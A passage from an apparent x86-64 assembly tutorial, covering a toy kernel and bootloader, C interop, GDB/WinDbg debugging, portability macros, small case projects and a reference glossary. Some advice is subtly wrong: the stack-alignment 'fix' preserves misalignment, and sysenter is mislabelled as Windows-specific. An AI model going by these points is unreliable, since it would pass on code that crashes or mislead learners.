Once in Long Mode, you can start executing pure 64-bit assembly.

64-bit Kernel Example (prints a character to screen)

```
section .text
global _start

_start:
    mov rax, 0xB8000         ; VGA text buffer address
    mov word [rax], 0x0741   ; ASCII 'A' with color attribute
hang:
    hlt
    jmp hang
```

You can link this kernel and load it from a bootloader, or write it directly into memory and jump to it.

Bootloader Loading Kernel

A bootloader can read additional sectors from disk to memory and then jump to that memory:

```
; BIOS interrupt to read sectors into memory
mov ah, 0x02          ; Read sectors
mov al, 1             ; Read 1 sector
mov ch, 0             ; Cylinder
mov cl, 2             ; Sector number (start after bootloader)
mov dh, 0             ; Head
mov dl, 0x80          ; Drive number
mov bx, 0x8000        ; Load at 0x8000
int 0x13
```

Then use a far jump to that memory location to execute your kernel code.

Loading C Functions from Assembly Kernel

One goal in OS development is transitioning from raw assembly into C/C++ code for easier logic implementation. This requires:

- Compiling C code as freestanding (no `libc`)
- Proper stack and calling convention setup
- Passing control from assembly to a known C function

Step 1: Compile C kernel with `-ffreestanding`

```
// kernel.c
```

```c
void kernel_main() {
    char* video = (char*)0xB8000;
    video[0] = 'H';
    video[1] = 0x07;
}
```

Compile and link:

```
gcc -m64 -ffreestanding -c kernel.c -o kernel.o
ld -T linker.ld -o kernel.bin kernel.o
```

Step 2: Assembly Entry Point

```asm
; entry.asm
extern kernel_main
global _start

section .text
_start:
    cli
    mov rsp, stack_top
    call kernel_main

hang:
    hlt
    jmp hang
```

```
section .bss
resb 4096
stack_top:
```

Ensure that the linker script places _start at the correct address and defines the memory layout.

Step 3: Link Together

Use a linker script like this:

```
ENTRY(_start)
SECTIONS {
    . = 1M;
    .text : { *(.text*) }
    .bss : { *(.bss*) }
}
```

Load the binary in a VM (like QEMU) or write to a USB stick for real hardware testing.

Debugging and Troubleshooting Assembly Code

Common Errors and Their Fixes

Assembly programming is prone to subtle, low-level mistakes that can lead to unpredictable behavior, silent failures, or hard crashes. Understanding typical error categories can drastically reduce debugging time.

Uninitialized Registers

Failure to initialize registers can result in garbage values being used in critical operations.

Bad:

```
add rax, rbx    ; rbx may contain an undefined value
```

Fix:

```
xor rbx, rbx
add rax, rbx
```

Stack Misalignment

Modern calling conventions (like System V AMD64 ABI) require 16-byte stack alignment before calling functions.

Bad:

```
sub rsp, 8
call some_function    ; misaligned stack
```

Fix:

```
sub rsp, 16
call some_function
add rsp, 16
```

Incorrect Use of CALL/RET

Every CALL instruction must be matched with a corresponding RET. Forgetting to RET, or returning when no CALL was made, corrupts control flow.

Bad:

```
jmp my_function
...
my_function:
; function code
ret    ; but no call was made
```

Fix:
Use jmp only for inlined code. Use call when expecting a return.

Off-by-One or Loop Errors

Common mistakes include failing to terminate loops correctly or using incorrect condition checks.

Bad:

```
cmp rcx, 0
jne loop    ; might run loop one too many times
```

Fix:
Double-check loop initialization and termination conditions.

Stepping Through Code in GDB and WinDbg

Both GDB (Linux) and WinDbg (Windows) allow low-level inspection and control of program execution, especially useful when debugging raw assembly.

GDB for Linux

Launching and Setting Breakpoints

```
gdb ./program
(gdb) break _start
(gdb) run
```

Disassemble and Step Through

```
(gdb) disassemble
(gdb) layout asm        ; enter TUI mode
(gdb) stepi             ; step one instruction
(gdb) info registers    ; view registers
```

Stack Inspection

```
(gdb) x/32x $rsp        ; examine stack
(gdb) backtrace         ; show call stack
```

Useful Commands

- `nexti` – step over
- `x/10i $rip` – show next 10 instructions

- info registers – print all register values
- x/s – examine memory as string

WinDbg for Windows

Launching and Attaching

windbg.exe -g program.exe

Disassemble and Step

```
u rip          ; disassemble
t              ; trace (step into)
p              ; step over
r              ; show registers
dd rsp         ; show stack
```

Inspecting Memory and Variables

- db – display memory as bytes
- du – display as Unicode strings
- !address – inspect memory layout
- .printf – custom formatted output

WinDbg is essential when working with Windows shellcode or analyzing crashes in compiled binaries.

Breakpoints, Watchpoints, and Stack Traces

Breakpoints and watchpoints let you pause execution and observe program state.

Breakpoints

Stop execution at specific instruction addresses or labels.

```
(gdb) break *0x401000
```

In WinDbg:

```
bp 0x401000
```

Watchpoints

Triggered when a specific memory address is accessed or modified.

```
(gdb) watch *(int*)0x404020
```

In WinDbg:

```
ba w4 0x404020    ; watch 4 bytes at address
```

Stack Traces

To trace function calls and diagnose stack corruption:

```
(gdb) backtrace
```

```
kb
```

Stack traces are vital for catching invalid function returns, corrupt return addresses, or improper parameter passing.

Example: Debugging a Crashed Binary

Suppose you have an ELF binary that crashes immediately. Here's how to debug it:

Step 1: Run in GDB

```
gdb ./crasher
(gdb) run
```

You get:

```
Program received signal SIGSEGV, Segmentation fault.
```

Step 2: Analyze Crash

```
(gdb) info registers
(gdb) x/10i $rip
```

You see:

```
0x401000: mov rax, [rdi]
```

If `rdi` is 0, then dereferencing it caused the crash.

Step 3: Fix the Bug

Ensure `rdi` is loaded with a valid address:

Before:

```
mov rdi, 0
mov rax, [rdi]     ; crash
```

Fix:

```
lea rdi, [rel message]
mov rax, [rdi]     ; safe access
```

Step 4: Set Breakpoint and Verify Fix

```
(gdb) break *0x401000
(gdb) run
```

Use info registers, x/s, and stepi to confirm the values and behavior.

Cross-Platform Considerations and Portability

Writing Cross-Platform Assembly Code

Writing portable assembly code—code that works across multiple operating systems or hardware platforms—is particularly challenging due to the tightly coupled nature of assembly with processor architecture, operating system ABI (Application Binary Interface), and system conventions. However, there are practical approaches that can reduce platform dependency and increase reusability.

Architecture-Specific Considerations

While x86-64 assembly is mostly consistent across systems at the instruction level, platform-specific differences arise in:

- **System call interfaces** (Linux vs. Windows)
- **Calling conventions**
- **Executable formats**(ELF , PE , Mach-O)
- **Toolchains and debuggers**

Practical Guidelines for Portability

- **Stick to standard instruction sets:** Avoid vendor-specific instructions unless absolutely necessary.
- **Use macros for platform abstractions:** Wrap platform-specific behaviors (like syscall invocation) in macros or procedure

abstractions.

- **Separate logic from platform glue:** Write pure computation separately from OS interaction (file I/O, memory allocation).
- **Define a consistent calling convention** in your code and conform to it explicitly, avoiding reliance on compiler-generated behavior.

Example: Writing a `strlen` function that can be reused across platforms:

```
global strlen
strlen:
    xor rcx, rcx
.loop:
    cmp byte [rdi + rcx], 0
    je .done
    inc rcx
    jmp .loop
.done:
    mov rax, rcx
    ret
```

This function relies only on basic instructions and registers—thus portable to any system that follows the System V ABI or similar.

Dealing with Platform-Specific Instructions

Platform-specific instructions can create significant challenges when targeting multiple systems. While the x86-64 instruction set is uniform, OS-level interactions often depend on instructions or conventions that are unique to that platform.

Examples of Non-Portable Instructions

- int 0x80 — Linux 32-bit syscall interface
- syscall — Linux 64-bit syscall instruction
- sysenter / sysexit — Windows fast system call
- rdtsc , cpuid — CPU feature-specific and not always supported in VM contexts

Handling These Differences

- **Abstract away** the differences behind macros or function calls
- **Detect environment** using compile-time definitions or runtime probing
- **Provide separate implementations** per platform

Example (pseudo-macro):

```
%ifdef WINDOWS
    call WinExec
%else
    mov rax, 59    ; execve
    syscall
%endif
```

Avoiding instructions that don't translate across systems is crucial for portability.

Using Portable Assembly Libraries

While raw assembly is inherently platform-specific, certain libraries and runtime systems aim to abstract these differences.

Examples

- **libffi** – Enables calling compiled C functions from interpreted languages across platforms.
- **Musl and glibc** – Offer inline assembly or assembly subroutines for optimized implementations that are selectively portable.
- **Asmlib** (Agner Fog) – High-performance portable math and string operations written in x86-64 assembly.
- **NASM and FASM** – Provide consistent syntax and cross-platform support across major OS environments.

These libraries often come with compatibility layers or use conditional assembly to adapt to various environments, helping you focus on core logic rather than hardware nuances.

Conditional Assembly Techniques

Conditional assembly allows code to compile differently based on the target architecture, OS, or build flags. It's one of the most effective ways to write multi-platform assembly in a single source file.

NASM Syntax Example

```
%ifdef LINUX
    mov rax, 60     ; exit syscall on Linux
    syscall
%elifdef WINDOWS
```

```
    mov ecx, 0      ; exit code
    call ExitProcess
%endif
```

This technique works especially well for:

- Syscalls and API wrappers
- Inline comments and constants
- Assembly-level `ifdef` macros

Defining Conditions

You can define these using command-line flags:

```
nasm -DLINUX myfile.asm -o output.o
```

Or for MASM:

```
IFDEF _WINDOWS
    ; Windows-specific code
ENDIF
```

Use Cases

- Creating platform-dependent system call wrappers
- Including/excluding debug code
- Managing performance optimizations for specific CPUs (e.g., AVX2 vs. SSE4)

Conditional assembly also helps maintain a single source base that can adapt to:

- 64-bit Linux (System V)
- 64-bit Windows (Microsoft x64 ABI)
- macOS (Mach-O format with System V ABI variant)

Portability in assembly programming demands strict discipline and thoughtful abstractions. While the nature of assembly ties it closely to its execution context, you can still achieve practical portability by:

- Separating system interactions from core logic
- Using macros and conditional blocks
- Adopting common calling conventions
- Leaning on well-maintained portable libraries

Case Studies and Real-World Projects

Writing a 64-bit Text Editor in Assembly

Creating a text editor in pure 64-bit assembly is a substantial challenge that provides a deep understanding of system calls, terminal I/O, file handling, memory management, and UI logic—all without the abstraction layers of higher-level languages.

Design Overview

- **Mode**: Terminal-based (text mode, not graphical)
- **Input Handling**: Keyboard via direct system calls
- **Buffer Management**: Dynamic memory for text buffers
- **File Operations**: Open, read, write, save
- **User Feedback**: Basic status messages and command input

Core Components

Initialization

- Setup input loop
- Allocate buffer for storing text
- Configure terminal to raw input mode (non-canonical, no echo)

```
; tcgetattr, modify termios flags, tcsetattr
mov rax, 0x10    ; syscall: ioctl or tcsetattr
```

Text Input Loop

- Read characters from keyboard using `read(0, buf, 1)`
- Handle special keys (e.g., arrows, backspace, enter)
- Update in-memory buffer
- Redraw screen buffer on each input

Rendering Logic

- Use `write(1, buffer, size)` to output to screen
- ANSI escape codes to control cursor, clear screen, etc.

```
mov rdi, 1
mov rsi, buffer
mov rdx, buflen
mov rax, 1
syscall
```

Saving and Opening Files

- Use `open`, `read`, and `write` syscalls
- Maintain cursor and file offset position
- Error handling and buffer flushing

This editor might be under 4–8 KB and can be bootstrapped into a kernel environment or used inside a minimal Linux OS.

Implementing a Minimalist Web Server

This case study illustrates how to handle networking, socket APIs, and string parsing in assembly. The goal is a basic HTTP server that returns static content (e.g., an HTML file) when accessed via a browser.

Requirements

- Create a TCP socket
- Bind to a port and listen
- Accept incoming connection
- Read HTTP request
- Write back a fixed HTTP response
- Close the connection

System Calls Involved (Linux)

- `socket(AF_INET, SOCK_STREAM, 0)` – syscall 41
- `bind` – syscall 49
- `listen` – syscall 50
- `accept` – syscall 43
- `read` , `write` , `close`

Response Example

HTTP/1.1 200 OK\r\n

Content-Type: text/html\r\n

Content-Length: 28\r\n

\r\n

<html>Hello World</html>

Each of these parts must be manually constructed in the response buffer.

Memory Management

- Allocate buffers for request and response
- Parse using simple string comparisons (`cmp` , `scasb` , etc.)

This web server could serve static files or respond with hardcoded HTML content—sufficient for understanding basic HTTP and networking fundamentals in raw assembly.

Real-Time Data Parser from Network Stream

This case involves writing an assembly program that reads structured or unstructured binary data from a socket, parses it, and takes action or logs results in real time.

Use Cases

- Custom protocol decoders
- Packet sniffers or loggers
- Telemetry analyzers for IoT

Implementation Stages

1. **Establish Connection**

    - TCP client: use `socket` , `connect`

- UDP listener: use socket, bind, recvfrom

2. **Data Buffering**
   - Allocate buffer using mmap or brk
   - Read into buffer with read or recv

3. **Parsing Loop**
   - Look for packet headers, delimiters, or magic values
   - Extract fields by offset
   - Validate checksum or size fields

```
mov al, [rsi]        ; header byte
cmp al, 0xA5         ; check magic byte
```

4. **Action/Log**
   - Write results to file or stdout
   - Optionally respond via network

Performance

- Use string instructions (rep movsb, cmpsb)

- Loop unrolling and minimal branching for faster parsing
- Polling vs. `select` / `epoll` for scalable input

This kind of project reinforces real-world skills in streaming I/O, buffer overflow mitigation, and efficient parsing routines.

Integrating Assembly into Embedded Systems

Embedded systems often rely on C/C++ for firmware and driver development, but performance-critical or hardware-level code is often written in assembly. This case study focuses on integrating 64-bit assembly routines into an embedded firmware project—though keep in mind most embedded platforms are 32-bit or ARM-based.

Use Cases

- Custom bootloaders
- Interrupt service routines (ISRs)
- DSP (Digital Signal Processing) kernels
- Cryptographic routines

Toolchains

- Cross-compilation using `gcc` with `-m64` for x86 targets
- `ld` and `objcopy` for creating `.bin` and `.hex` files
- Emulators like QEMU for testing, or real hardware flashing

Integration Approach

1. **Write Assembly Subroutines**

```
global fast_copy
fast_copy:
    mov rcx, rdx
    rep movsb
    ret
```

2. **Declare in C Header**

```
void fast_copy(char* dest, const char* src, size_t count);
```

3. **Link and Call**

- Use `extern` and consistent calling conventions
- Pass arguments through registers as per ABI

Optimization Focus

- Use SIMD (SSE/AVX) for data movement
- Minimize cycles per instruction
- Align data for cache efficiency

Debugging on Hardware

- Use JTAG or SWD with GDB

- Flash via USB or UART bootloader
- Output logs through serial interface

Even when not writing full firmware in assembly, integrating handcrafted routines provides performance, size, and timing benefits—especially when targeting resource-constrained environments like microcontrollers, BIOS/UEFI code, or signal-processing units.

Appendices

Instruction Set Quick Reference

This section provides a categorized summary of the most frequently used x86-64 instructions. It serves as a compact guide to mnemonic syntax and operand formats. While not exhaustive, it includes core instructions you'll need for most development tasks in 64-bit assembly.

Data Movement

Instruction	Description
mov	Copy data from source to destination
lea	Load effective address
xchg	Exchange the values of two operands
push	Push value onto the stack
pop	Pop value from the stack
movzx	Move with zero extension
movsx	Move with sign extension

Arithmetic

Instruction	Description
add	Add integers

sub	Subtract integers
imul	Signed integer multiplication
mul	Unsigned integer multiplication
idiv	Signed integer division
inc	Increment by one
dec	Decrement by one
neg	Two's complement negation
adc	Add with carry
sbb	Subtract with borrow

Logical and Bitwise

Instruction	Description
and	Bitwise AND
or	Bitwise OR
xor	Bitwise XOR
not	Bitwise NOT
test	Bitwise compare (non-destructive)
shl / sal	Logical/arithmetic left shift
shr	Logical right shift
sar	Arithmetic right shift
rol	Rotate left

ror	Rotate right

Control Flow

Instruction	Description
jmp	Unconditional jump
je / jz	Jump if equal/zero
jne / jnz	Jump if not equal
jg / jnle	Jump if greater
jl / jnge	Jump if less
call	Call a procedure
ret	Return from procedure
cmp	Compare

String and Memory

Instruction	Description
movsb , movsw , movsd , movsq	Move strings
scasb , scasq	Scan string for byte/qword
stosb , stosq	Store string byte/qword
lodsb , lodsq	Load string byte/qword into AL/RAX

System Call Reference (Linux & Windows)

Assembly programs interact with the operating system using system calls. These differ between Linux and Windows.

Linux x86-64 Syscalls

Use `syscall` instruction with syscall number in `rax`. Arguments are passed in:

Argument	Register
arg1	rdi
arg2	rsi
arg3	rdx
arg4	r10
arg5	r8
arg6	r9

Common Syscalls

Name	RAX	Description
read	0	Read from file descriptor
write	1	Write to file descriptor
open	2	Open a file
close	3	Close a file
exit	60	Exit process
mmap	9	Map memory
munmap	11	Unmap memory

brk	12	Change data segment size

Example:

```
mov rax, 1        ; syscall: write
mov rdi, 1        ; stdout
mov rsi, msg      ; pointer to string
mov rdx, 13       ; length
syscall
```

Windows x64 System Calls

In Windows, system calls are abstracted through API functions in DLLs (e.g., kernel32.dll). Instead of syscall , you typically use the call instruction to invoke library functions.

Example: Writing to Console

```
extern WriteConsoleA
extern GetStdHandle

call GetStdHandle
; returns handle in RAX

mov rcx, rax
mov rdx, msg
mov r8, len
call WriteConsoleA
```

Note: Windows 64-bit uses the **Microsoft x64 calling convention**:

Register	Usage
rcx	arg1
rdx	arg2
r8	arg3
r9	arg4

Other arguments are passed on the stack.

Sample Makefiles and Build Scripts

Linux (GCC + NASM)

```
all: program

program: main.o utils.o
	ld -o program main.o utils.o

main.o: main.asm
	nasm -f elf64 main.asm -o main.o

utils.o: utils.asm
	nasm -f elf64 utils.asm -o utils.o

clean:
	rm -f *.o program
```

Linux (GCC with Inline Assembly)

```
all: mix

mix: mix.c
	gcc -m64 -o mix mix.c

clean:
	rm -f mix
```

Windows (MSVC + MASM)

```
ml64 /c /Fo main.obj main.asm
link /SUBSYSTEM:CONSOLE /OUT:program.exe main.obj
```

Or with `.bat` script:

```
@echo off
ml64.exe /c mycode.asm
link.exe mycode.obj /OUT:mycode.exe /SUBSYSTEM:CONSOLE
```

Binary File Formats: ELF, PE

Understanding binary formats is essential when working with assembly, especially for custom loaders, debugging, and reverse engineering.

ELF (Executable and Linkable Format)

Used on Unix-like systems.

Structure

- **ELF Header**: Magic number, architecture info
- **Program Header Table**: Tells OS how to create a process
- **Section Header Table**: Used for linking/debugging

Sections

Section	Purpose
.text	Executable code
.data	Initialized global data
.bss	Uninitialized global data
.rodata	Read-only data
.symtab	Symbol table
.strtab	String table

View ELF contents:

readelf -a mybinary

objdump -d mybinary

PE (Portable Executable)

Used on Windows systems.

Structure

- **DOS Header**(MZ)
- **PE Header**: Machine, number of sections, timestamps

- **Section Headers**: Describe `.text` , `.data` , etc.

Sections

Section	Description
`.text`	Executable code
`.rdata`	Read-only initialized data
`.data`	Read-write initialized data
`.bss`	Uninitialized data
`.idata`	Import address table

Use tools like:

```
dumpbin /headers myfile.exe
```

Or third-party tools: PEview, CFF Explorer

Glossary of Terms

A

Term	Definition
ABI (Application Binary Interface)	A standardized interface between two binary program modules, such as between an OS and user programs. It defines calling conventions, register usage, and binary format.
Addressing Mode	A method used in machine code instructions to determine how to access operands (e.g., immediate, direct, indirect, indexed).
Alignment	The arrangement of data in memory according to its natural boundary (e.g., 4, 8, or 16 bytes) to enhance access speed and correctness.
Assembler	A tool that converts assembly language source code into machine code (e.g., NASM, FASM).
Assembly Language	A low-level programming language that maps directly to a computer's machine instructions.
AVX (Advanced Vector Extensions)	A set of SIMD instructions used for parallel processing of data in 256-bit chunks, introduced by Intel.

B

Term	Definition

Base Pointer	Typically rbp , a register used to access function parameters and local variables via a fixed point on the stack.
Binary File	A non-text file containing machine-readable data, such as executable programs or data dumps.
Bitwise Operation	An operation that directly manipulates individual bits of data using operators like AND, OR, XOR, NOT.
Bootloader	A small program that starts when a computer is powered on, responsible for loading the operating system kernel.
Buffer	A contiguous block of memory used to store data temporarily during program execution.
Byte	A unit of data that consists of 8 bits. It is the smallest addressable unit of memory in most architectures.

C

Term	Definition
Call Stack	A data structure that stores information about active subroutines, including return addresses and local variables.
Calling Convention	A protocol that defines how functions receive parameters and return values, and how the stack is used.
Cache	A small, fast memory location that stores frequently accessed data to speed up processing.
Carry Flag	A status flag that indicates whether an arithmetic operation produced a carry out of the most significant bit.
Conditional Jump	An instruction that causes a jump in execution flow based on the evaluation of a condition (e.g., je , jne).
Constant	A fixed value defined in code that does not change during

program execution.

D

Term	Definition
Data Section	A portion of a program’s memory where initialized global and static variables are stored.
Debugger	A tool that helps detect and fix bugs by allowing step-by-step execution and inspection of code.
Direct Addressing	A form of addressing where the effective memory address is directly specified in the instruction.
Disassembler	A tool that converts machine code back into assembly language, often used in reverse engineering.
DWORD	Double word; typically 32 bits (4 bytes) in size.
Dynamic Linking	The process of loading external libraries at runtime rather than at compile-time.

E

Term	Definition
ELF (Executable and Linkable Format)	A common file format for executables, object code, shared libraries in Unix-like systems.
Encoding	The representation of data (e.g., characters or instructions) using binary formats.
Endianness	The order in which bytes are arranged within larger data types (e.g., little-endian, big-endian).
Entry Point	The address at which a program begins execution.
Exception	An event that disrupts normal execution, often due

	to errors or special conditions.
Exit Code	A numeric value returned by a program upon termination to indicate success or failure.

F

Term	Definition
FLAGS Register	A special register in the CPU that contains status flags resulting from arithmetic and logical operations.
FPU (Floating Point Unit)	A part of the CPU that handles arithmetic operations on floating-point numbers.
Frame Pointer	Another name for the base pointer, often used to navigate function call frames.
Function Prologue	The initial part of a function where the stack frame is set up.
Function Epilogue	The final part of a function where the stack frame is torn down.
FASM	Flat Assembler; an open-source assembler for the x86 architecture.

G

Term	Definition
GDB (GNU Debugger)	A powerful debugging tool used for inspecting and controlling program execution in Unix-like systems.
General-Purpose Register	A CPU register used for arithmetic, data storage, and memory addressing (e.g., `rax`, `rbx`, `rcx`).
Global	A variable that is accessible from any part of a program.

Variable	
Ghidra	A free software reverse engineering suite developed by the NSA.
GCC	GNU Compiler Collection; includes tools for compiling C, C++, and other languages.
GOTO	A control flow instruction that transfers execution to a specified address.

H

Term	Definition
Heap	A memory region used for dynamic allocation during program execution.
Hexadecimal	A base-16 number system commonly used in computing to represent binary data.
Hook	A technique used to intercept or modify function behavior at runtime.
Hypervisor	A program that creates and manages virtual machines by emulating hardware.
Hardware Breakpoint	A breakpoint that is triggered by CPU hardware when a memory address is accessed or changed.

I

Term	Definition
Immediate Value	A constant operand directly specified in an instruction.
Instruction Pointer	A register (`rip`) that points to the next instruction to be executed.

Inline Assembly	Assembly instructions written directly within a higher-level language like C or C++.
Interrupt	A signal that temporarily halts normal execution to handle events such as I/O or errors.
IDA Pro	A commercial disassembler and debugger used in reverse engineering.
Instruction Set	The complete set of instructions that a particular CPU can execute.

J

Term	Definition
Jump	An instruction that changes the program counter to a new location.
JIT (Just-in-Time) Compilation	A runtime technique that compiles code on-the-fly, often for performance.
JMP Table	A table of addresses used to perform indirect jumps, commonly used in switch-case logic.

K

Term	Definition
Kernel	The core component of an operating system, managing system resources and hardware interaction.
Kernel32.dll	A core Windows DLL providing system-level APIs such as memory management and process handling.

L

Term	Definition

Label	A marker in assembly code that identifies a location for jumps or data references.
Linker	A tool that combines object files into a final executable, resolving symbols and addresses.
Little-Endian	A byte order in which the least significant byte is stored at the smallest memory address.
Load Effective Address	The `lea` instruction calculates a memory address without dereferencing it.

M

Term	Definition
Macro	A preprocessor directive that defines reusable blocks of code or templates.
Makefile	A file containing rules for building programs automatically using the `make` utility.
Memory-Mapped I/O	A method of performing I/O by reading and writing to specific memory addresses.
Mnemonic	The symbolic name of an assembly instruction (e.g., `mov` , `add` , `jmp`).
MOV	An instruction used to transfer data between registers or between memory and registers.
MSVC	Microsoft Visual C++; a compiler that supports inline assembly and Windows development.

N

Term	Definition
NASM	Netwide Assembler; a widely used assembler for the

	x86 family.
NOP (No Operation)	An instruction that does nothing and advances the instruction pointer.
Null Terminator	A byte (0x00) used to indicate the end of a string in C-style strings.

O

Term	Definition
Object File	The output of a compiled source file, containing binary code and metadata for linking.
Offset	The distance in bytes from a base address to a specific location in memory.
Operand	A value or reference used as input to an instruction.
Opcode	The part of a machine code instruction that specifies the operation to be performed.
Overflow Flag	A flag in the FLAGS register that indicates signed overflow occurred during an operation.

P

Term	Definition
PIC (Position-Independent Code)	Code that executes properly regardless of its absolute memory address.
PE (Portable Executable)	The file format used for executables and DLLs in Windows environments.
Procedure	A self-contained block of assembly code that performs a specific task and can be called.

PUSH/POP	Instructions that add or remove data from the stack.
Profiling	Measuring a program's execution performance to identify bottlenecks or optimize hotspots.

Q

Term	Definition
QWORD	Quad-word; typically 64 bits (8 bytes) in size.

R

Term	Definition
Register	A small storage location in the CPU used to hold data and addresses for fast access.
RIP	Instruction Pointer register in x86-64, points to the current instruction.
RSP	Stack Pointer register in x86-64, points to the top of the stack.
Relocation	The process of adjusting addresses within a binary to match the memory layout during loading.

S

Term	Definition
Section	A logical division within a binary file (e.g., `.text`, `.data`, `.bss`).
Segment Register	A register that holds the base address for a memory segment in segmented architectures.
Shellcode	A small piece of code used as a payload in exploits to spawn shells or execute commands.

SIMD	Single Instruction, Multiple Data; a form of data-level parallelism used in AVX/SSE instructions.
Stack	A LIFO (Last-In, First-Out) memory structure used to store local variables and return addresses.
Stack Frame	A section of the stack reserved for a single function call.
Symbol	A named identifier for data or code within object files and executables.
SYSCALL	An instruction that invokes an operating system service in 64-bit Linux.

T

Term	Definition
Turing Complete	Describes a system capable of performing any computation given enough time and memory.
Thread	A lightweight process unit that shares memory space with other threads of the same process.
Trace	A step-by-step execution of instructions used for debugging and analysis.
Text Section	The section of an executable containing code.

U

Term	Definition
Unaligned Access	Accessing memory at addresses not aligned to their data size, potentially causing performance penalties.
User Space	The memory region where user applications run, separate from kernel space.

V

Term	Definition
Virtual Address	An address used by a program, which the operating system maps to a physical address.
VTune	Intel's performance profiler for analyzing low-level code behavior.

W

Term	Definition
Watchpoint	A breakpoint triggered when a specific memory address is accessed or modified.
Word	A data unit typically 2 bytes (16 bits) on x86 architecture.
WinDbg	A Windows debugger for analyzing crashes, memory, and control flow.

X

Term	Definition
x86	A family of instruction set architectures initially developed by Intel.
x86-64	The 64-bit extension of the x86 instruction set, also known as AMD64.
XOR	A bitwise exclusive OR operation.

Z

Term	Definition

Zero Flag	A flag set when the result of an operation is zero. Used in conditional branching.
Zero Extension	A method of extending a smaller integer to a larger size by filling the new bits with 0s.